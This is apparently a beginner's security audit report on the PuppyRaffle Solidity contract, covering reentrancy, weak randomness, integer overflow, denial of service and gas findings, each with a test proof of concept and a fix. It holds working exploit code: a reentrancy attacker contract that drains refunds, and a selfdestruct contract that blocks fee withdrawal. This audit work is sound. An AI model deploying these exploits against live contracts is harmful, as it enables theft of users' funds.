PuppyRaffle Audit Report

Version 1.0

Mayank.io

November 27, 2025

Protocol Audit Report

Mayank

November 27, 2025

Prepared by: [Mayank] Lead Auditors: - Mayank Mokta

Table of Contents

  - [M-2] Smart contract wallet raffle winner without `fallback` or `receive` functions.
  - [M-3] Mishandeling of Eth happening in `PuppyRaffle::withdrawFees` function

- Low

  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns zero if player not found but it still returns zero if the player is at index 0

- Informational

  - [I-1] Solidity pragma version should be specific, not wide
  - [I-2] Solidity pragma version used should be a bit latest
  - [I-3] Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is a bad practise
  - [I-5] Usage of magic numbers
  - [I-6] Event can be emitted
  - [I-7] Using `indexed` in your events

- Gas

  - [G-1] Some of the state variables should be marked as constant or immutable
  - [G-2] Function `PuppyRaffle::enterRaffle` can be marked as external instead of public
  - [G-3] Storage variable in a loop should be cached

Protocol Summary

This project is to enter a raffle to win a cute doge NFT and ETH. The protocol has the following:

1. Call the `enterraffle` function which has a parameter of `address[] participants` which holds alist of entrants who entered.
2. Duplicate addresses are not allowed and minimum of 4 players should be there to generate the winner of the raffle.
3. User are allowed to get a refund of their enterance fee before the raffle gets over, just by call `refund` function.
4. The owner of the contract can set a `feeAddress` to take cut of the `value` i.e. 20%, and the rest goes to the winner.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Below we have our commit hash

```
a93d861e9165edb1131a71b8ea7a8b9133747778
```

Scope

```
./src/PuppyRaffle.sol
```

Roles

- Owner: The owner of the contract who can decides whom to send the fees through `changeFeeAddress` function.

- Player: Participants of the raffle, has the chance to win the raffle and can call the `refund` function to get their entrance fee back.

Executive Summary

I just loved auditing this codebase, in my beginner learing phase and i learned a lot of new things auditing this codebase.

Issues found

Severity	Number of issues found
HIGH	3
MEDIUM	3
LOW	1
INFO	7
GAS	3
TOTAL	17

Findings

High

[H-1] There is a possible Reentrancy attack happening in `PuppyRaffle::refund`.

Description: In the function `PuppyRaffle::refund`, you are sending the refund to the user and after sending updating the state of the mapping which is the reason why reentract attack can happen very easily. Remember the rule to first update the state and then execute the code or just follow CEI rule i.e. checks, effects, implementation.

```
1
2 function refund(uint256 playerIndex) public {
3         address playerAddress = players[playerIndex];
4         require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
```

```
5           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
6   @>      payable(msg.sender).sendValue(entranceFee);
7   @>      players[playerIndex] = address(0);
8           emit RaffleRefunded(playerAddress);
9       }
```

Impact: This seems to be a very tiny bug from naked eye, but in reality an attacker can very easily wipe out all the Eth from the contract with so ease and with in seconds. In you contract when user calls the function `PuppyRaffle::refund`, first it verifies the written checks and it they gets approved the the refund is sent to the user, so when `payable(msg.sender).sendValue(entranceFee);` this line gets triggered and suppose the cantract is calling this function so this line just looks for receive or fallback function in contract and suppose if the receive or fallback says to just run the `PuppyRaffle::refund` then it just gets stuck in a loop that ends when the amount of the contract gets empty because we updated the state after sending eth.

Proof of Concept: The above test proves that there is a possibility of an Reentrancy attack. Add the below code in your `PuppyRaffleTest.t.sol` file:

Code

```
1
2   function testReentrancyAttackCanHappen() external{
3
4       address[] memory players = new address[](3);
5       players[0] = address(111);
6       players[1] = address(100);
7       players[2] = address(200);
8       puppyRaffle.enterRaffle{value: entranceFee * 3}(players);
9
10      uint256 startingContractBalance = address(puppyRaffle).balance;
11      ReentrancyAttacker ree = new ReentrancyAttacker(puppyRaffle);
12      uint256 startingAttackerContractBalance = address(ree).balance;
13      ree.attack{value: entranceFee}();
14
15      uint256 endingContractBalance = address(puppyRaffle).balance;
16      uint256 endingAttackerContractBalance = address(ree).balance;
17
18      console.log("the starting balance of attacker contract is: ",
            startingAttackerContractBalance);
19      console.log("the starting balance of contract is: ",
            startingContractBalance);
20      console.log("the endinging balance of attacker contract is: ",
            endingAttackerContractBalance);
21      console.log("the endinging balance of contract is: ",
            endingContractBalance);
22      }
23
24
```

```
25 contract ReentrancyAttacker {
26
27     PuppyRaffle puppy;
28     uint256 fees;
29     uint256 playerIndex;
30
31     constructor(PuppyRaffle _puppy){
32         puppy = _puppy;
33
34     }
35
36     function attack() external payable{
37         address[] memory players = new address[](1);
38         players[0] = address(this);
39         fees = puppy.entranceFee();
40         puppy.enterRaffle{value: fees}(players);
41         playerIndex = puppy.getActivePlayerIndex(address(this));
42         puppy.refund(playerIndex);
43     }
44
45     fallback() external payable{
46         if(address(puppy).balance >= fees){
47             puppy.refund(playerIndex);
48         }
49     }
50
51     receive() external payable{
52         if(address(puppy).balance >= fees){
53             puppy.refund(playerIndex);
54         }
55     }
56 }
```

Recommended Mitigation: My recommendation to secure your contract from Reentrancy attack is always follow CEI (checks,effects,interactions) in your function which is sending eth. The change you should do in your function `PuppyRaffle::refund` is just use this line `players[playerIndex] = address(0);` before this `payable(msg.sender).sendValue(entranceFee);`. This way you can prevent your contract from Reentrancy attack.

```
1
2  function refund(uint256 playerIndex) public {
3          address playerAddress = players[playerIndex];
4          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
5          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
6
7          // @audit Reentrancy attack here
8  +       players[playerIndex] = address(0);
9          payable(msg.sender).sendValue(entranceFee);
```

```
10
11 -         players[playerIndex] = address(0);
12           emit RaffleRefunded(playerAddress);
13       }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` function as it allows the users to influence and predict the winner or even predict the winning puppy

Description Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together can create a predictable number and which is definitely not a good random number.

Even users can front-run this function and call `refund` if they see they are not the winner.

Impact Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy, making the entire raffle worthless.

Proof of Concept 1. Validaters can know ahead of time the `block.timestamp` and `block.difficulty`, so that to predict when/how to participate. 2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner. 3. User can revert the `selectWinner` transaction if they don't like the winner or the resulting puppy.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] In function `PuppyRaffle::selectWinner` Integer overflow is happening.

Description There is undoubtly Integer overflow happening in the function `PuppyRaffle::selectWinner` as you have used uint64 in you function which has a limited capacity to keep any value and if the value exceeds its limit the integer resets to zero and easilty you can loose Eth. Although solidity resolved this issue in the newer version of pragma solidity but as you are using the older version of solidity Integer overflow can easily happen.

Impact The impact can be very high as when the limit exceed of the `uint64 totalFees` the value again starts from zero and the previous funds can never be recovered.

Proof of Concept The below code shows that how easily you can loose a big amount of your `uint64 totalFees` in the function `PuppyRaffle::selectWinner`

Proof of Code

Add the below test in your `PuppyRaffleTest.t.sol`.

```
1
2 function testThereIsOverflowIssue() external {
```

```
3           address[] memory players = new address[](4);
4           players[0] = address(1001);
5           players[1] = address(1002);
6           players[2] = address(1003);
7           players[3] = address(1004);
8           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
9           vm.warp(block.timestamp + duration + 1);
10          puppyRaffle.selectWinner();
11          uint256 startingFee = puppyRaffle.totalFees();
12          console.log("the starting total fees is: ", startingFee);
13
14          // now next raffle begins
15          uint256 totalPlayers = 89;
16          address[] memory newPlayers = new address[](totalPlayers);
17          for(uint256 i=0; i<newPlayers.length; i++){
18              newPlayers[i] = address(i);
19          }
20          puppyRaffle.enterRaffle{value: entranceFee * totalPlayers}(
                newPlayers);
21          vm.warp(block.timestamp + duration + 1);
22          puppyRaffle.selectWinner();
23          uint256 endingFee = puppyRaffle.totalFees();
24          console.log("the ending total fees is: ", endingFee);
25
26          assert(startingFee > endingFee);
27      }
```

Recommended Mitigation: 1. Use a newer version solidity. 2. I highly recommend you to use `uint256` instead of uint64 as `uint256` has more capacity to hold value as of uint64.

Medium

[M-1] There can be a denial of servies (DoS) attack in the function `PuppyRaffle::enterRaffle`.

Description: The function `PuppyRaffle::enterRaffle` loops through the `players` to check for duplicates. Which is a issue as longer the `PuppyRaffle::players` array becomes the more it has to loop through the array and check for duplicates. This means that the gas cost for the players who entered right after the raffle starts will be less as complared to the players entering after and after. So more the players gets added to the `PuppyRaffle::players` array the more gas will be used.

Impact: The gas cost for the raffle will increase as more and more players enters the raffle which will definitely give advantage to the people entering as the start of the raffle and there might be a rust of people trying to enter the raffle as the starting.

An attacker can even make the `PuppyRaffle::entrants` so big that no one else can enter and gauranteeing themselves the win.

Proof of Concept: The below test shows that the first 100 people entering the raffle costs a total of `6503275` gas and the next 100 people entering the raffle will cost a total of `18995515` gas which is a huge difference.

PoC

Add this below test in your `PuppyRaffleTest.t.sol`.

```
1
2  function testDosAttackPossible() external{
3          uint256 playersNum = 100;
4          address[] memory players = new address[](playersNum);
5          for(uint256 i = 0; i < players.length; i++){
6              players[i] = address(i);
7          }
8          uint256 startingGas = gasleft();
9          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
               players);
10         uint256 endingGas = gasleft();
11         uint256 gasUsed = startingGas - endingGas;
12         console.log("the gas used by first 100 players is", gasUsed);
13         // now for the next 100 players
14         address[] memory nextPlayers = new address[](100);
15         for(uint256 j = 0; j < nextPlayers.length; j++){
16             nextPlayers[j] = address(j+100);
17         }
18         uint256 startingGas2 = gasleft();
19         puppyRaffle.enterRaffle{value: entranceFee * nextPlayers.length
               }(nextPlayers);
20         uint256 endingGas2 = gasleft();
21         uint256 gasUsed2 = startingGas2 - endingGas2;
22         console.log("the gas used by last 100 players is", gasUsed2);
23         assert(gasUsed < gasUsed2);
24     }
```

Recommended Mitigation: The below steps are the recomendations from my side that you should follow:

1. Instead of using a nested for loop which takes a lot of gas, you should use mapping let me show you how.

```
1
2  mapping(address => bool) public isAdded;
3
4  function enterRaffle(address[] memory newPlayers) public payable {
5          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
```

```
6           for (uint256 i = 0; i < newPlayers.length; i++) {
7               // Check for duplicates
8               require(!isAdded[newPlayers[i]], "PuppyRaffle: Duplicate
                    player")
9               isAdded[newPlayers[i]] = true;
10              players.push(newPlayers[i]);
11          }
12          // @audit DOS attack:
13  -        for (uint256 i = 0; i < players.length - 1; i++) {
14  -            for (uint256 j = i + 1; j < players.length; j++) {
15  -               require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
16  -            }
17  -        }
18          emit RaffleEnter(newPlayers);
19      }
```

2. Allow duplicates to enter the raffle, as if any user wants to enter more than once he could just use different metamask accounts and enter from them.

[M-2] Smart contract wallet raffle winner without `fallback` or `receive` functions.

Description In the function `PuppyRaffle::selectWinner` when the winner gets selected, we send the `prizePool` to the winner but if the winner contract doesn't have `fallback` or `receive` function then it would create a big issue as the new raffle would never start again and will not delete current players.

Impact The function `PuppyRaffle::selectWinner` would revert many times, making lottery reset very difficult.

Proof of Concept

1. 10 smart contracts enters the raffle without having `fallback` or `receive` functions.
2. The lottery end and the winner gets selected.
3. But `PuppyRaffle::selectWinner` function wouldn't work, event though the lottery is over.

Recommended Mitigation:

1. Do not allow smart contracts entering the raffle. (not recommended)
2. Create a mapping of address so that the winners could pull out their prize money instead of us pushing them. By creating a new `claimPrize` function and only winners are allowed to claim.
   > Pull over Push

[M-3] Mishandeling of Eth happening in `PuppyRaffle::withdrawFees` function

Description There is a jigh possibility of Mishandeling of Eth happening in `PuppyRaffle::withdrawFees` function because the check in the first line says thats the contract balance should be equal to the `totalFees` but if someone deleberately sends Eth to the contract the the check would never ever pass because the balance of the contract will exceed.

```
function withdrawFees() external {
@>        require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact Due to this you will never be able to withdraw the `totalFees` from your contract.

Proof of Concept The above code shows how Mishandeling of Eth is possible in `PuppyRaffle::withdrawFees` function.

PoC

```

Highly recommended to add the below test in your `PuppyRaffleTest.t.sol` file:

function testMishandelingOfEthHappening() external {
        address[] memory players = new address[](4);
        players[0] = address(1);
        players[1] = address(2);
        players[2] = address(3);
        players[3] = address(4);
        MishandelingOfEth miss = new MishandelingOfEth(puppyRaffle);
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        vm.warp(block.timestamp + duration + 1);
        puppyRaffle.selectWinner();
        miss.attack{value: 1 ether}();
        vm.expectRevert();
        puppyRaffle.withdrawFees();
    }

    contract MishandelingOfEth {
    PuppyRaffle puppy;
    constructor(PuppyRaffle _puppy) {
        puppy = _puppy;
    }
    function attack() external payable{
        selfdestruct(payable(address(puppy)));
    }
```

```
27 }
```

Recommended Mitigation: Consider removing the check from the function `PuppyRaffle::withdrawFees`

```
1
2 function withdrawFees() external {
3 -        require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently    players active!");
4         uint256 feesToWithdraw = totalFees;
5         totalFees = 0;
6         (bool success,) = feeAddress.call{value: feesToWithdraw}("");
7         require(success, "PuppyRaffle: Failed to withdraw fees");
8     }
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns zero if player not found but it still returns zero if the player is at index 0

Description If a player is at index 0 the function `PuppyRaffle::getActivePlayerIndex` will return 0, but if the player is not found in the array `players` then the function still returns zero as you have mentioned the function will returns zero if player not found.

```
1
2 function getActivePlayerIndex(address player) external view returns (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
9     }
```

Impact The player as index 0 of `PuppyRaffle::players` might think that he has not entered the raffle as the function `PuppyRaffle::getActivePlayerIndex` will return 0, so he will alagin try to re-enter which will waste gas.

Proof of Concept

1. User enters the raffle, they are the first enterant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks he hasn't entered the raffle as function returns 0.

Recommended Mitigation: The recommendation is to use revert if the player in not in the array `PuppyRaffle::players` instead of 0.

You can even use `int256` where the function returns -1 if the player in not in the array.

Informational

[I-1] Solidity pragma version should be specific, not wide

Consider using a specific version of solidity in your contracts instead of using wide version. Eg: instead of using `pragma solidity ^0.7.6;` you should use `pragma solidity 0.7.6;`.

[I-2] Solidity pragma version used should be a bit latest

Consider using a bit latest version of solidity as you have marked `pragma solidity ^0.7.6;` which is way too older, I recommend you to use more latest version of pragma solidity.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Consider suing checks before assigning values to address because what if the address is `address(0)`.

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is a bad practise

Always follow CEI (Checks, Effects, Interactions) in every function.

```
1
2           previousWinner = winner;
3 +         _safeMint(winner, tokenId);
4           (bool success,) = winner.call{value: prizePool}("");
5           require(success, "PuppyRaffle: Failed to send prize pool to
               winner");
6 -         _safeMint(winner, tokenId);
```

[I-5] Usage of magic numbers

Using magic numbers is not a good practise instead constant variables should be used to make the code more readable.

Examples-

```
1         uint256 prizePool = (totalAmountCollected * 80) / 100;
2         uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use something like:

```
1
2 uint256 public constant PRICE_POOL_PERCENTAGE = 80;
3 uint256 public constant POOL_PRECISION = 100;
4 uint256 public constant FEE_PERCENTAGE = 20;
5
6 uint256 prizePool = (totalAmountCollected * PRICE_POOL_PERCENTAGE) /
     POOL_PRECISION;
7 uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] Event can be emitted

Consider emitting an event in the `PuppyRaffle::withdrawFees` function as the state is changing and due to it, its a good practice to emit an event.

[I-7] Using `indexed` in your events

Consider using `indexed` keyword in your events as it can make easy to find anything inside events although making event indexed is much expensive but still its a good practise.

```
1
2 -    event RaffleEnter(address[] newPlayers);
3 -    event RaffleRefunded(address player);
4 -    event FeeAddressChanged(address newFeeAddress);
5
6 +    event RaffleEnter(address[] indexed newPlayers);
7 +    event RaffleRefunded(address indexed player);
8 +    event FeeAddressChanged(address indexed newFeeAddress);
```

Gas

[G-1] Some of the state variables should be marked as constant or immutable

Reading from the storage can be more gas expensive as compared to readin from constants or immutables.

Instances: - `PuppyRaffle::raffleDuration` should be marked as `immutable`. - `PuppyRaffle::commonImageUri` should be marked as `constant`. - `PuppyRaffle::`

`rareImageUri` should be marked as `constant`. - `PuppyRaffle::legendaryImageUri` should be marked as `constant`.

[G-2] Function `PuppyRaffle::enterRaffle` can be marked as external instead of public

Consider using `external` instead of public in the function `PuppyRaffle::enterRaffle` as enterRaffle function in being used in the contract anywhere so marking it as external can be a good practise to save gas.

[G-3] Storage variable in a loop should be cached

Everytime `players.length` gets called it gets read from storage, while using a variable reads from memory which is more gas efficient as of storage.

```
+         uint256 playersLength = players.length
-         for (uint256 i = 0; i < players.length - 1; i++) {
+          for (uint256 i = 0; i < playersLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
                 require(players[i] != players[j], "PuppyRaffle:
                     Duplicate player");
             }
         }
```